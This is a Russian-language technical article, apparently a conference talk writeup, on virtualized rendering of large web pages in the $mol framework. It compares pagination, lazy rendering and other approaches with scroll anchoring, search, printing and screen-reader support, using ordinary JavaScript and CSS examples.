Ну да ладно со скоростью загрузки. Один раз подождать ведь не проблема? Как бы не так! Браузер делает пересчёт стилей, лейаута и слоёв чуть ли не на каждый чих. И если вы попробуете поработать со страницей, то заметите, что на наведение указателя она реагирует весьма не рьяно, а вводить текст с лютыми задержками крайне не комфортно.
Год назад Илья Климов как раз рассказывал в своём выступлении страшные истории про работу как раз над этой страницей. Например, прикручивание спинера заняло 3 месяца работы не самого дешёвого разработчика. А сворачивание небольшого файла вешало вкладку на 10 секунд. Но это, правда, уже оптимизировали - теперь на это требуется всего лишь пара секунд!
Причина этих ужастиков в том, что изначально была выбрана такая себе архитектура с такими себе технологиями, и писалось много типового кода пяткой левой ноги, а теперь вот нужно вкладывать кучу денег в Фонд Оплаты Труда, чтобы делать простейшие вещи долго и без существенного профита.
На мой вопрос "что ж вы на $mol всё это не перепишите, чтобы у вас всё летало?" Илья ответил, что не знает как его продать в компании. Что ж, надеюсь дальнейший разбор техник виртуализации поможет ему в этом нелёгком деле.
Оптимизации вёрстки
-------------------
Первое что приходит на ум - а давайте упростим вёрстку и DOM уменьшится. В качестве примера - кейс от Альфа-банка, который я разбирал в своей статье об истории $mol.
[$mol: 4 года спустя](https://habhub.hyoo.ru/#author=nin-jin/repo=HabHub/article=23)
Там был компонент вывода денежных сумм, который рендерился в 8 DOM элементов вместо 3.
```
###
1 233
,
43
₽
```
```
###
1 233
,43 ₽
```
Не смотря на высокую частоту использования он был не оптимизирован. После моей статьи над ним поработали и теперь он рендерится в 5 элементов.
Если так поработать и над остальными компонентами, думаю можно уменьшить размер DOM раза в 2. Однако…
Достоинства оптимизации вёрстки
-------------------------------
Важно понимать, что асимптотика таким образом не меняется. Допустим страница грузилась 30 секунд. Вы оптимизировали, и она сала грузиться 10 секунд. Но пользователи сгенерируют в 3 раза больше контента и страница снова грузится 30 секунд. А оптимизировать вёрстку уже не куда.
* Кратное ускорение ✅
* Асимптотика не меняется ❌
Короче, годится эта техника лишь как временная мера, пока вы прикручиваете что-то по серьёзней.
Прикладная оптимизация
----------------------
Можно пошаманить над вашим прикладным кодом - кодом приложения, кодом ваших компонент. Тут есть несколько вариантов с разными ограничениями..
* Пагинация
* Экспандеры
* Бесконечный скролл
* Виртуальный скролл
Прикладная оптимизация: Пагинация
---------------------------------
Первое, что приходит на ум - это пагинация.
Не буду рассказывать что это такое - все и так с ней прекрасно знакомы. Поэтому сразу к достоинствам…
Достоинства пагинации
---------------------
Во-первых пользователю приходится много кликать переключаясь между страницами - это тренирует его мелкую моторику. Кроме того приходится ждать загрузки ну или хотя бы рендеринга очередной страницы - есть время подумать о высоком: что он здесь делает, зачем и возможно решить что оно ему и не надо. Также постоянно теряется контекст, то есть тренируется память - ему нужно помнить что было там на предыдущей странице.
Бывает, что элемент перескакивает между страницами при переключении между ними. Это позволяет, например, ещё раз прочитать один и тот же комментарий, чтобы лучше его понять. Или наоборот, пропустить незамеченным - мало ли там какой-то негатив. А так он сохранит душевное равновесие.
Пагинация применима лишь для плоских списков, что избавляет пользователя от мудрёных древовидных интерфейсов.
Однако, если среди элементов на странице окажется какой-то особо крупный элемент, то опять вернутся тормоза. Но это будет всяко быстрее чем рендерить вообще все элементы на одной странице.
И, наконец, нельзя забывать про пользователей скрин ридеров, которые будут вспоминать вас тёплым словом каждый раз, когда им придётся при переключении на очередную страницу снова стрелочками клавиатуры навигироваться от корня страницы до того контента который им интересен.
* Много кликать ❌
* Ожидание загрузки каждой страницы ❌
* Теряется контекст ❌
* Элементы скачут между страницами ❌
* Вероятность пропустить элемент ❌
* Применимо лишь для плоских списков ❌
* Большой элемент возвращает тормоза ❌
* Слепые вас ненавидят ❌
* Работает быстрее, чем всё скопом рендерить ✅
В общем, думаю вы уже поняли какое тёплое у меня отношение к пагинации. Я даже отдельную статью ей посвятил..
[Популярные анти паттерны: пагинация](https://habhub.hyoo.ru/#author=nin-jin/repo=HabHub/article=13)
Прикладная оптимизация: Экспандеры
----------------------------------
Можно выводить и на одной странице, но свернув каждый элемент под спойлером, а показывать его содержимое уже по клику.
<https://nin-jin.github.io/my_gitlab/#collapse=true>
Достоинства экспандеров
-----------------------
Тут опять же приходится много кликать и ждать загрузки очередной ветки. Соответственно, мы тренирую мелкую моторику пользователя и позволяем ему подумать. Работает оно быстро, ведь нам нужно показать лишь список элементов, но не их содержимое. Но если пользователь откроет много экспандеров, то снова вернутся тормоза. Пользователи скрин ридеров будут вас жарко вспоминать за то, что им приходится ещё и искать эти экспандеры и нажимать на них, что крайне неудобно когда пользуется клавиатура. и, наконец, самое главное преимущество: экспандер можно применять и для иерархических структур, а не только плоских списков.
* Очень много кликать ❌
* Ожидание загрузки каждой ветки ❌
* Если не закрывать, то снова тормоза ❌
* Слепые вас проклинают ❌
* Открывается быстро ✅
* Применимо не только для плоских списков ✅
Прикладная оптимизация: Бесконечный скролл
------------------------------------------
Но что если мы не хотим тренировать мелкую моторику наших пользователей? Тогда можно применить, например, бесконечный скролл, так популярный в интерфейсах Яндекса, например.
И сейчас вы видите скриншот Яндекс.Диска. У меня есть там директория состоящая из пяти тысяч файлов. И если открытие её происходит относительно быстро, то, чтобы домотать до самого низа, требуется 3 с лишним минуты реального времени. Всё потому, что по мере скролла вниз, DOM становится всё больше и больше, от чего добавление очередного куска данных становится всё медленнее. В итоге, добавление последнего куска, например, занимает уже несколько секунд.
Достоинства бесконечного скролла
--------------------------------
* Применимо лишь для плоских списков ❌
* Ожидание загрузки каждой ветки ❌
* Увеличение тормозов по мере прокрутки ❌
* Быстрое появление ✅
Прикладная оптимизация: Виртуальный скролл
------------------------------------------
Дальнейшее развитие бесконечного скролла - это виртуальный скролл, который не только дорендеривается снизу, но и удаляет контент сверху, по мере прокрутки вниз. И наоборот, при прокрутке вверх.
<https://bvaughn.github.io/react-virtualized/#/components/WindowScroller>
Достоинства виртуального скролла
--------------------------------
Тут размер DOM остаётся примерно постоянным, то есть интерфейс остаётся отзывчивым. Но годится это лишь для плоских списков. Для иерархических применять его зачастую больно - смотря какой визуал нарисовал дизайнер. Тут еще есть ещё такое ограничение, что нам должны быть известны примерные размеры элементов, чтобы мы могли рассчитать, какие элементы попадают в видимую область, а какие точно не попадают.
* Применимо лишь для плоских списков ❌
* Размеры элементов должны быть предсказуемы ❌
* Работает быстро ✅
Прикладная оптимизация: Резюме
------------------------------
* Ухудшение пользовательского опыта ❌
* Не решают проблему полностью ❌
* Ограниченная применимость ❌
* Полный контроль где какую применять ✅
* Нужно не забыть ❌
* Нужно продавить ❌
* Нужно реализовать ❌
* Нужно оттестировать ❌
* Нужно поддерживать ❌
Оптимизация инструментов
------------------------
Чтобы не заниматься ручными оптимизациями каждый раз в каждом приложении можно пойти другим путём и оптимизировать инструментарий, то есть библиотеки, фреймворки, компиляторы и тому подобное. Тут есть опять же несколько подходов..
* Тайм слайсинг
* Прогрессивный рендеринг
* Ленивый рендеринг
* Виртуальный рендеринг
Оптимизация инструментов: Тайм слайсинг
---------------------------------------
Можно попробовать так называемый time slicing. На одной из прошлых Holy JS я рассказывал про технику квантования вычислений, где долгое вычисление разбивается на кванты по 16 миллисекунд, и между этими квантами браузер может обрабатывать какие-то события делать плавную анимацию и так далее. То есть вы не блокируете поток на долгое время, получая хорошую отзывчивость..
[Квантовая механика вычислений в JS](https://github.com/nin-jin/slides/blob/master/fibers)
Достоинства тайм слайсинга
--------------------------
Звучит вроде бы не плохо. Но тут есть такая проблема, как замедление общего времени работы всего вычисления. Например, если просто взять и выполнить вычисление без квантования занимает полсекунды, то если его постоянно прерывать каждые 16 мс, позволяя браузеру делать свои дела, то до завершения может пройти и пара секунд. Для пользователя это может выглядеть как замедление работы. Ну и другой аспект заключается в том что javascript не поддерживает файберы, то есть такие потоки исполнения, которые можно останавливать и возобновлять в любое время. Их приходится эмулировать тем или иным способом, а это всегда костыли, замедление работы и некоторые ограничения на то, как пишется код. В общем, с этим подходом всё не очень хорошо, поэтому в $mol мы и отказались от квантования.
* Хорошая отзывчивость ✅
* Замедленность работы ❌
* Эмуляция файберов в JS ❌
Оптимизация инструментов: Прогрессивный рендеринг
-------------------------------------------------
Частным случаем тайм слайсинга является прогрессивный рендеринг, где DOM генерируется и подклеивается по кусочкам. Это позволяет очень быстро да ещё и анимированно показать первый экран и в фоне дорендерить страницу до конца. Такой подход реализован, например, во фреймворке Catberry..
[catberry.github.io](https://catberry.github.io/)
Достоинства прогрессивного рендеринга
-------------------------------------
В $mol мы тоже [экспериментировали с подобным подходом](https://www.youtube.com/watch?v=hs9gv3TZgvA), но в итоге отказались, так как время появления даже первого экрана существенно замедлялось, а если страница была по настоящему большой, то всё вообще умирало, ибо по мере роста размеров DOM добавление даже маленького кусочка в него становилось всё медленнее и медленнее.
* Хорошая отзывчивость в процессе появления ✅
* Эмуляция файберов в JS ❌
* На больших объёмах всё встаёт колом ❌
Оптимизация инструментов: Ленивый рендеринг
-------------------------------------------
Вообще, изначально [в $mol у нас был так называемый ленивый рендер](https://www.youtube.com/watch?v=8pXBZH86MUs). Суть его в том, что мы сначала рендерим первый экран и по мере прокрутки добавляем столько контента снизу, чтобы видимая область была гарантированно накрыта. А при прокрутке вверх, наоборот, удаляем снизу тот контент, что гарантированно на экран не попадает, чтобы минимизировать размер DOM для лучшей отзывчивости.
<https://nin-jin.github.io/my_gitlab/#lazy=true>
Достоинства ленивого рендеринга
-------------------------------
Чтобы понимать сколько рендерить элементов, необходимо знать заранее минимальные размеры элементов, которые мы ещё не отрендерили. Но это решаемая проблема. А вот другая - не очень. Хоть появляется первая страница и быстро, но по мере прокрутки вниз увеличивается размер DOM, что неизбежно приводит к снижению отзывчивости. Так что если пользователь домотал до самого низа, то нам всё равно придётся отрендерить весь DOM целиком. То есть проблема отзывчивости решена не полностью.
* Размеры элементов должны быть предсказуемы ❌
* Увеличение тормозов по мере прокрутки ❌
* Быстрое появление ✅
Оптимизация инструментов: Виртуальный рендеринг
-----------------------------------------------
Дальнейшее развитие ленивого рендера - это [при прокрутке не только добавлять контент снизу, но и удалять сверху. И наоборот при прокрутке вверх.](https://www.youtube.com/watch?v=ENc4G4dXL3g) В примере, вы можете заметить, что это работает не только с плоскими списками, но и с вёрсткой произвольной сложности.
<https://nin-jin.github.io/my_gitlab/>
Достоинства виртуального рендеринга
-----------------------------------
* Размеры элементов должны быть предсказуемы ❌
* Работает, наконец, быстро ✅
Оптимизация инструментов: Резюме
--------------------------------
На уровне инструментов поддержка сейчас есть лишь в полутора фреймворках: time slicing в React, прогрессивный рендер в catberry и виртуальный рендер в $mol. Зато, такую оптимизацию инструмента достаточно реализовать один раз? и далее наслаждаться ею во всех своих приложениях не тратя дополнительное время на оптимизацию.
* Поддерживает полтора фреймворка ❌
* Работает само по себе ✅
Оптимизации: Резюме
-------------------
Так что именно на оптимизации инструментов я и предлагаю вам сконцентрировать свои усилия. И далее мы разберём, что нужно для добавления виртуализации на уровне фреймворка.
| Оптимизация | Стоит того? |
| --- | --- |
| Вёрстка | ❌ |
| Прикладной код | ❌ |
| Инструментарий | ✅ |
Виртуализация браузера
----------------------
Самое простое, что можно сделать, - это воспользоваться браузерной виртуализацией, которая появилась сравнительно недавно. Итак, открываем [гитлаб](https://gitlab.com/gitlab-org/gitlab-foss/-/commit/9517d0eb2ca8bde02d7fae2173e0a43b67b2b9f5#27e06e15cfe9583d733619cf7d72629b777f7757_26212_26221) и видим как всё лагает при движении мыши и вводе текста. Теперь произносим пару волшебных слов в девтулзах вокруг стилей "файла"..
```
content-visibility: auto;
contain-intrinsic-size: 1000px;
```
И всё начинает летать. Устанавливая эти свойства, мы говорим браузеру, что он может пересчитывать layout только для видимой части, а для не видимой он будет брать ту оценку, что мы предоставили. Тут есть, конечно же, ограничение из-за которого иконка добавления нового комментария обрезается, но это решаемая проблема. А вот нерешаемая - это то, что нам всё-равно нужно потратить кучу времени на формирование огромного DOM. То есть таким образом мы можем обеспечить хорошую отзывчивость, но не быстрое открытие. Поэтому мы реализуем виртуализацию именно на стороне яваскрипта.
Логика рендеринга
-----------------
Для каждого компонента нам нужно получить следующие данные.
Во первых нужно пройтись по всем вложенным компонентом и узнать их оценку размеров. Так же нам нужно спросить у браузера как компонент расположен относительно вьюпорта. Использую эту информацию мы можем рассчитать какие элементы нашего контейнера попадают в видимую область, а какие не попадают. После чего добавить/удалить элементы в DOM. И, наконец, обновить отступы, чтобы не полностью отрендеренный контент сместить в видимую область. И все эти операции повторяются рекурсивно для всех компонентов.
Далее мы пройдёмся по этим шагам подробнее.
Оценка размеров
---------------
Мы можем брать в качестве оценки, например, последний вычисленный размер. То есть при рендере запоминаем какой получился размер и далее используем эту информацию уже до рендера. Но тут такая проблема, что это не работает для тех элементов, которых мы ещё рендерили. При плавном скроллинге - ничего страшного, но когда пользователь хватает скроллбар и тащит в другой конец страницы, нам не от куда взять информацию о размерах. Но самое страшное даже не это, а то, что нужно уметь вовремя инвалидировать кеш размеров, ведь они зависят от очень многих факторов, которые очень сложно все учесть.
Можно попробовать брать усреднённое значение. То есть мы отрендерили, например, пять элементов из тысячи, вычислили среднее, и считаем что все остальные тоже в среднем такие же. Но это средняя температура по больнице получается, ибо в общем случае размеры элементов могут отличаться на несколько порядков. Среднее значение годится лишь в частном случае плоских виртуализированных списков, когда нам заранее известно, что все элементы примерно одинакового размера. В общем же случае, для виртуализации на уровне фреймворка это совсем не подходит.
Так что самое оптимальное - это минимальная оценка. То есть сколько элемент точно занимает места. Он может быть больше, но точно не меньше. Это позволяет для заданной видимой области рассчитать сколько нам нужно отрендерить элементов, чтобы точно накопить суммарной высоты больше, чем размер видимой области. Отрендерим чуть больше - ничего страшного. Важно лишь, что видимой области не будет дырок и пользователь не увидит, что мы немного сэкономили на рендеринге.
* Последняя ❌
* Усреднённая ❌
* Минимальная ✅
Типы компонент: Атомарный
-------------------------
Теперь о том как рассчитать размеры. Во первых мы можем просто напрямую задать эти размеры.
Например, допустим все иконки у нас умеют размер 24х24, или любая строка текста имеет минимальную высоту в 24 пикселя.
Типы компонент: Стек наложения
------------------------------
Если компонент составной, то нам скорее всего хочется, чтобы его оценка размера исходила из того, что мы поместили внутри него. Например, возьмём компонент "стек наложения" - этот компонент, который содержит другие компоненты, которые накладываются друг на друга, и его размер определяется максимальными габаритами среди всех вложенных в него элементов.
Соответственно мы просто берём максимальное значение минимального значения его элементов по соответствующим осям.
Типы компонент: Вертикальный список
-----------------------------------
Для вертикального списка по горизонтали вычисляем так же, как для стека наложения. А вот минимальная высота списка равна сумме минимальных высот его элементов.
Типы компонент: Горизонтальный список
-------------------------------------
С горизонтальным списком всё аналогично, но возможно вам ещё потребуется учитывать смещение элементов относительно базовой линии, для вычисления минимальной высоты.
Типы компонент: Горизонтальный список с переносами
--------------------------------------------------
А вот с горизонтальным списком с переносами все несколько сложнее. Во первых нам нужно вычислить максимальную ширину нашего контейнера. Самая грубая оценка - это, например, ширина окна. Если у вас есть более точная оценка - замечательно. Но даже грубая оценка - лучше, чем ничего.
Далее мы берём все компоненты все вложенные компоненты и рассчитываем их суммарную ширину. Поделив одно значение на другое, мы получаем количество строк, которые точно будут в нашем списке с переносами.
В данном примере у нас будет два переноса, а следовательно после рендеринга он расползётся не менее чем на три строки.
Далее, нам нужно рассчитать минимальную высоту строки. Это просто минимальное значение среди всех минимальных высот всех элементов. Так как мы не знаем места переносов, то более точно вычислить размеры строк не получится. Но нам важно, чтобы это значение было хотя бы не нулевым, чтобы виртуализация вообще работала. Умножая высоту строки на количество строк мы получаем минимально высоту всего компонента.
К сожалению, полную виртуализацию такого компонента сделать скорее невозможно, потому что не известно в каких местах произойдёт перенос. И если мы будем виртуализировать в обе стороны, то элементы будут скакать по горизонтали. Поэтому для таких компонент применим лишь ленивый рендеринг. То есть снизу добавляем и удаляем элементы, а сверху ничего не меняем.
Типы компонент: Грид и Буклет
-----------------------------
Такие компоненты, как гриды и буклеты, - это просто композиция упомянутых ранее.
Грид - это вертикальный список из горизонтальных списков. А буклет - это горизонтальный список из вертикальных списков.
Типы компонент: Резюме
----------------------
Итого, мы получаем 4 вида лейаутов, которые позволяют построить интерфейс любой сложности.
* Атомарный
* Стек наложения
* Вертикальный список
* Горизонтальный список
Но тут важно обратить внимание на то, что любой наш компонент должен быть одного из этих четырёх типов лейаута, иначе мы не сможем правильно оценивать размер. Эта информация должна быть задана в JS, а не определяться отдельно стилями.
Отслеживание положения: onScroll
--------------------------------
Теперь перейдем к вопросу о том, когда производить обновление DOM. Самое очевидное - это реагировать на событие `scroll`..
```
document.addEventListener( 'scroll', event => {
// few times per frame
}, { capture: true } )
```
Достоинства отслеживания onScroll
---------------------------------
Тут есть 2 проблемы. Во первых, событие возникает слишком часто - его нет смысла обрабатывать чаще, чем 60 раз в секунду. Во вторых, размер и положение элемента относительно вьюпорта зависит от многих вещей, а не только от позиции скроллбара. Учитывать все это в принципе можно, но очень легко что-то пропустить и не обновить DOM. В результате, пользователь может столкнуться с ситуацией, что он видит лишь половину страницы, но не имеет никакой возможности вызвать её дорендер даже вручную.
* Слишком часто ❌
* Изменения DOM ❌
* Изменения стилей ❌
* Изменения состояния элементов ❌
* Изменения состояния браузера ❌
Отслеживание положения: IntersectionObserver
--------------------------------------------
Может показаться что `IntersectionObserver` решит все наши проблемы, ведь он позволяет детектировать, когда пара элементов начинает или перестаёт визуально пересекаться. Точнее, когда изменяется процент их пересечения. Если растянуть `body` на размер вьюпорта, то таким образом можно отслеживать процент пересечения любого элемента с видимой областью.
```
const observer = new IntersectionObserver(
event => {
// calls on change of visibility percentage
// doesn't call when visibility percentage doesn't changed
},
{ root: document.body }
)
observer.observe( watched_element )
```
Достоинства отслеживания IntersectionObserver
---------------------------------------------
К сожалению, это не работает, когда у нас элемент выходит за границы видимой области и сверху, и снизу. При скролле, процент наложения таким образом может не меняться, а значит и событие вызваться не будет. А нам отслеживать такое перемещение все равно необходимо, чтобы понимать, что теперь нужно рендерить, например, элементы не с 5 по 10, а с 10 по 15.
* Облом, если степень наложения не меняется ❌
Отслеживание положения: requestAnimationFrame
---------------------------------------------
Самый простой и надёжный способ отслеживать габариты элементов - это опрос по requestAnimationFrame. Обработчик вызывается 60 раз в секунду и первое, что делает, - подписывает себя на следующий фрейм.
Важно, чтобы обработчик вызывался самым первым, чтобы никто не успел до него внести изменения в DOM. Тогда размеры и координаты элементов будут браться максимально быстро - из кеша. Поэтому, следующим шагом мы пробегаемся по всем интересным нам элементам и получаем их габариты.
И только в самом конце производим изменения DOM. Если же читать размеры элементов после любого изменения в DOM, то браузеру придётся тут же произвести относительно медленный пересчёт layout.
```
function tick() {
requestAnimationFrame( tick )
for( const element of watched_elements ) {
element.getBoundingClientRect()
}
render()
}
```
Достоинства отслеживания requestAnimationFrame
----------------------------------------------
Недостатком такого подхода является постоянная фоновая загрузка процессора. То есть мы тратим где-то одну-две миллисекунды на каждый фрейм. Это примерно 5% загрузка процессора на моём ноуте, что не очень много для интерфейса с которым в данный момент идёт работа. К счастью requestAnimationFrame не вызывается для фоновых вкладок, так что открытие произвольного числа вкладок не приведёт к неконтролируемому росту потребления ресурсов. Кажется это - разумная плата за простое и надёжное решение, накладывающее минимум ограничений.
* Постоянная фоновая нагрузка ❌
* Просто и надёжно ✅
Обновление: Резюме
------------------
* onScroll ❌
* IntersectionObserver ❌
* requestAnimationFrame ✅
Скачки при прокрутке
--------------------
Если мы все это аккуратно реализуем, то у нас получится полностью виртуальный рендеринг произвольный вёрстки. Страница открывается мгновенно. Если мотнуть в другой конец страницы - всё тоже показывается во мгновение ока.
<https://nin-jin.github.io/my_gitlab/#anchoring=false>
Но тут есть одна проблема. Если скроллить очень медленно, то легко заметить что контент немного скачет. Это происходит из-за несоответствия расчётной высоты элемента и фактической. И чем больше эта разница, тем сильнее будут скачки. Вплоть до невозможности пользоваться скроллом.
Привязка скролла: Предотвращает скачки
--------------------------------------
Есть классический пример демонстрирующий проблему..
<https://codepen.io/chriscoyier/embed/oWgENp?theme-id=dark&default-tab=result>
Справа у нас есть некоторый контент. После того как мы проскроллим, сверху добавляется куча дополнительных боков. Эти блоки смещают контент вниз, из-за чего он улетает из видимой области. Вроде бы логично, но нифига не удобно для пользователя.
Слева же применяется новая браузерная фича, которая привязывает скроллбар к видимой области. И после добавления блоков сверху, браузер автоматически смещает скроллбар вниз, чтобы видимый контент остался на месте.
Привязка скролла: Выбор точки привязки
--------------------------------------
Чтобы выбрать элемент для привязки скролла, браузер идёт по DOM от корня в поисках первого же элемента, попадающего в видимую область. Заходит в него и снова ищет первый попавшийся. И так далее. При этом совершенно не важно как элементы друг относительно друга расположены визуально. Важно лишь расположение их в доме и попадают ли они в видимую область. Разберём этот процесс на простом примере..
Элемент `1` не видим, поэтому пропускаем. `2` видим, так что заходим в него. Тут и `2.2`, и `2.3` видимы, поэтому заходим в первый. Далее ближайший видимый `2.2.2`, внутри которых видимых больше нет, так что именно этот элемент становится якорем для привязки скролла. Браузер запоминает смещение верхней границы якорного элемента относительно вьюпорта и старается его сохранить постоянным.
Привязка скролла: Подавление привязки
-------------------------------------
Тут есть один нюанс - якорным элементом может быть только такой, для которого и для всех предков которого не запрещена привязка скролла. То есть элементы с запрещённой привязкой просто перескакиваются в поиске якорного элемента. А запрещена она может быть либо явно, через свойство `overflow-anchor`, либо неявно, при изменении css свойств влияющих на размеры и положение элемента.
* `overflow-anchor: none`
* `top`, `left`, `right`, `bottom`
* `margin`, `padding`
* Any `width` or `height`-related properties
* `transform`
Виртуализация: Распорки
-----------------------
Так как мы рендерим не весь контент, а только часть, нам нужно как-то сместить его так, чтобы он оказался в видимой области. Но мы не можем сделать это напрямую, иначе для его будет запрещена привязка скролла, которая нам нужна, чтобы не было видимых скачков. Поэтому, вместо пропущенных элементов мы вставляем распорку и задаём ей высоту. Таким образом распорка смещает контент в нужную нам позицию, а браузер не подавляет привязку скролла.
Виртуализация: Прокрутка вниз
-----------------------------
Рассмотрим несколько сценариев работы виртуализации с привязкой скролла. Для примера, возьмём компонент вертикального списка. Изначально видны элементы 3, 4 и 5, а сверху и снизу - распорки.
Зелёная фаза - пользователь скроллит вниз. Как видно третий блок вышел из видимой области, а снизу образовалась дырка. Но пользователь это ещё не видит.
Синяя фаза - срабатывает обработчик requestAnimationFrame и мы обновляем DOM: удаляем третий узел и добавляем шестой. Как видно, контент уехал вверх относительно видимой области, но пользователь это ещё не видит.
Красная фаза - мы отдаём управление браузеру, а тот выбирает 4 элемент в качестве якоря и отскролливает чуть-назад. Так что пользователь видит лишь добавившийся снизу шестой элемент.
Виртуализация: Прокрутка вверх
------------------------------
Аналогичная ситуация и со скроллингом вверх. Разве что в качестве якоря выбирается четвёртый элемент, а не третий, так как третий изменил положение в DOM, то есть появился в данном случае.
Виртуализация: Расширение
-------------------------
Может так оказаться, что контент не достигает краёв видимой области с обоих концов.
Мы просто добавляем контент и браузер снова смещает скролл так, чтобы контент, что был изначально виден, остался на месте.
Виртуализация: Превышение
-------------------------
Возможна и обратная ситуация: контент уже полностью накрывает видимую область с запасом. Можно было бы удалить невидимые элементы, но лучше не трогать DOM лишний раз. Пусть лучше пользователь мотает скроллом туда-сюда без задержек на обновление DOM пока не появится дырка с одной из сторон - тогда имеет смысл удалить лишнее с противоположной стороны. И как следствие DOM не будет неограниченно разрастаться.
Виртуализация: Скачок кенгуру
-----------------------------
Нельзя не упомянуть особый случай, когда пользователь хватает за скроллбар тащит в другой конец документа. Если никак дополнительно не обрабатывать этот кейс, то придётся отрендерить много элементов, чтобы накрыть видимую область. При этом больше их часть будет невидима, а значит много работы проделана зря. А лишняя работа - это лишние задержки, порой недопустимо большие.
Чтобы такого не происходило нужно просекать, что все элементы вышли из видимой области, удалять их все полностью и начинать рендеринг с нуля, отталкиваясь от текущего смещения скролла. Нам нужно пропустить столько элементов, чтобы размер распорки оказался чуть меньше расстояния до верхней границы видимой области. Таким образом первый элемент гарантированно накроет верхнюю её границу. И остаётся лишь дорендерить столько элементов, чтобы накрыть ещё и нижнюю границу.
Привязка скролла в действии
---------------------------
Если всю эту логику мы реализуем аккуратно, тогда не будет никаких скачков, даже несмотря на то, что какие-то элементы окажутся не той высоты, что мы рассчитывали.
<https://nin-jin.github.io/my_gitlab/>
Привязка скролла: Поддержка
---------------------------
Однако, есть проблема с интернет эксплорером нашего времени, который всё ещё не поддерживает привязку с скролла.
| Браузер | overflow-anchor |
| --- | --- |
| Chrome | ✅ |
| Firefox | ✅ |
| Safari | ❌ |
Привязка скролла: Запасный выход
--------------------------------
Для отсталых браузеров необходимо детектировать поддержку привязки скролла и, если её нет, то фолбечиться до ленивого рендера, то есть менять DOM лишь ниже видимой области, но не выше.
```
const anchoring_support = CSS.supports( 'overflow-anchor:auto' )
if( anchoring_support ) {
virtual render
} else {
lazy render
}
```
Проблема: Долгая раскладка
--------------------------
Если в следующем примере выключить пару CSS оптимизаций, то можно заметить, что скроллинг как-то подлагивает. Далее мы разберём суть этих оптимизаций.
<https://nin-jin.github.io/habrcomment/#article=423889>
Минимизация расчётов лейаута
----------------------------
Так как мы всё время меняем DOM внутри скроллящейся области, то это приводит к тому, что браузеру приходится постоянно пересчитывать лейаут, стили и дерево слоёв всего документа. Поэтому для скроллящихся областей имеет смысл задать следующее CSS свойство..
```
[mol_scroll] {
contain: content;
}
```
Оно говорит браузеру, что содержимое скроллящейся области не влияет на раскладку и стили вне её. Это позволяет существенно уменьшить стоимость браузерных пересчётов.
Прокрутка в отдельном потоке
----------------------------
Другая проблема заключается в том, что рендеринг скроллящейся области может происходить синхронно, в основном потоке, где работают наши скрипты. А это значит, что пока мы не закончим все наши вычисления, браузер не может плавно анимировать прокрутку. Чтобы это побороть, нужно заставить браузер вынести содержимое скроллящейся области в отдельный слой. Сделать это проще всего следующим хаком..
```
[mol_scroll] > * {
transform: translateZ(0);
}
```
На глаз отличить синхронный скролл от асинхронного не сложно: синхронный подлагивает, но никогда не показывает дырок, а вот асинхронный плавный, но может показывать дырки, когда мы не успеваем дорендеривать контент.
Плавная прокрутка (или нет)
---------------------------
Применив все оптимизации мы получаем плавную прокрутку..
<https://nin-jin.github.io/habrcomment/#article=423889>
..пока используем палец или автопрокрутку. Но стоит нам взяться за колёсико или тачпад, то оказывается, что привязка скролла порой не работает. Оказывается, что если открыть приложение во фрейме другого приложения, которое расположено на другом домене, то привязка скролла в Хроме перестаёт работать. Если для вас этот кейс имеет значение, то стоит его детектировать и фолбечиться до ленивого рендера.
Логика поиска
-------------
Скорость и отзывчивость - это, конечно, хорошо, но что насчёт поиска по странице? Он ведь ищет лишь по тому тексту, что есть в DOM, а мы тут рендерим лишь малую его часть. Делать нечего - надо перехватывать `Ctrl+F`, рисовать свой интерфейс поиска и искать самостоятельно. Для этого компоненты должны реализовывать метод, которому скармливаешь предикат, а он эмитит найденные пути от корня до компонент, соответствующих предикату.
```
*find_path(
check: ( view : View )=> boolean,
path = [] as View[],
): Generator< View[] > {
path = [ ... path, this ]
if( check( view ) ) return yield path
for( const item of this.kids ) {
yield* item.find_path( check, path )
}
}
```
* Рекурсивно спускаемся по компонентам.
* Отбираем соответствующие запросу.
* Рисуем интерфейс перехода между найденным.
Логика прокрутки к компоненту
-----------------------------
К сожалению, мало просто найти компоненты, нужен ещё и механизм прокрутки страницы к найденным компонентам. Для этого компонентам нужен ещё один метод, который находит путь к компоненту через дерево компонент, форсирует рендер компонент по этому пути, чтобы они оказались в DOM, после чего уже вызывает браузерный API прокрутки.
```
scroll_to_view( view: View ) {
const path = this.find_path( v => v === view ).next().value
this.force_render( new Set( path ) )
view.dom_node.scrollIntoView()
}
```
Логика форсирование рендеринга видимого
---------------------------------------
Форсирование рендера для каждого типа компонент идёт по своему. Например, для вертикального списка оно выглядит так: ищем элемент списка, который должен быть отрендерен, после чего указываем, что отрендериться должен только он.
```
force_render( path : Set< View > ): number {
const items = this.rows
const index = items.findIndex( item => path.has( item ) )
if( index >= 0 ) {
this.visible_range = [ index, index + 1 ]
items[ index ].force_render( path )
}
return index
}
```
Ничего страшного, что отрендерится лишь один элемент, ведь тут же отработает логика виртуализации и видимая область будет накрыта дополнительными элементами.
Работающий поиск
----------------
Если всё это аккуратно реализовать, то у нас будет поиск, отображение числа найденного и возможность перемотки к каждому найденному вхождению.
<https://nin-jin.github.io/habrcomment/#article=423889/search=vin>
Подсветка найденного реализуется опять же на уровне компонент. Я для этого просто использую компонент [$mol\_dimmer](https://github.com/hyoo-ru/mam_mol/tree/master/dimmer), которому скармливаешь строку текста, а он сам уже заботится о поддержке поиска и подсветки найденного.
Печать
------
Про печать часто забывают, а пользователи страдают. Чтобы весь контент страницы можно было вывести на печать, необходимо выключить скроллирование, убрать наши оптимизации пересчёта лейаута и все ограничения на размер скроллящихся областей.
```
@media (print) {
[mol_scroll] {
overflow: visible;
contain: none;
max-height: unset;
}
}
```
Кроме того, нужно выключить всю виртуализацию.
```
if( $mol_print.active() ) {
// render all
} else {
// partial render
}
```
Это приведёт к рендерингу вообще всех данных, что может занять продолжительное время, зато на печать будет выведена не только первая страница.
Доступность
-----------
Но рано ещё выдыхать, надо подумать и о пользователях скрин ридеров. Дело в том, что читалки читают текст последовательно по строчкам. И читая очередную строку они фокусируют браузер именно на ней. Проблема может оказаться на последней видимой строке. Если следующая строка не видима? и мы её не отрендерим, то читалка просто скажет, что страница закончилась и остановится. Но если мы отрендерим чуть больше, то читалка сфокусирует браузер на последней отрендеренной строке, что приведёт к скроллингу так, чтобы она стала видимой, но тут отработает виртуализация и снизу отрендерится ещё одна строка. Таким образом даже слепые смогут потреблять ваш контент виртуализированно без особых проблем.
<https://nin-jin.github.io/my_gitlab/>
Можете сами попробовать, просто включив [NVDA](https://www.nvaccess.org/download/) и закрыв глаза.
Решаемые проблемы виртуализации
-------------------------------
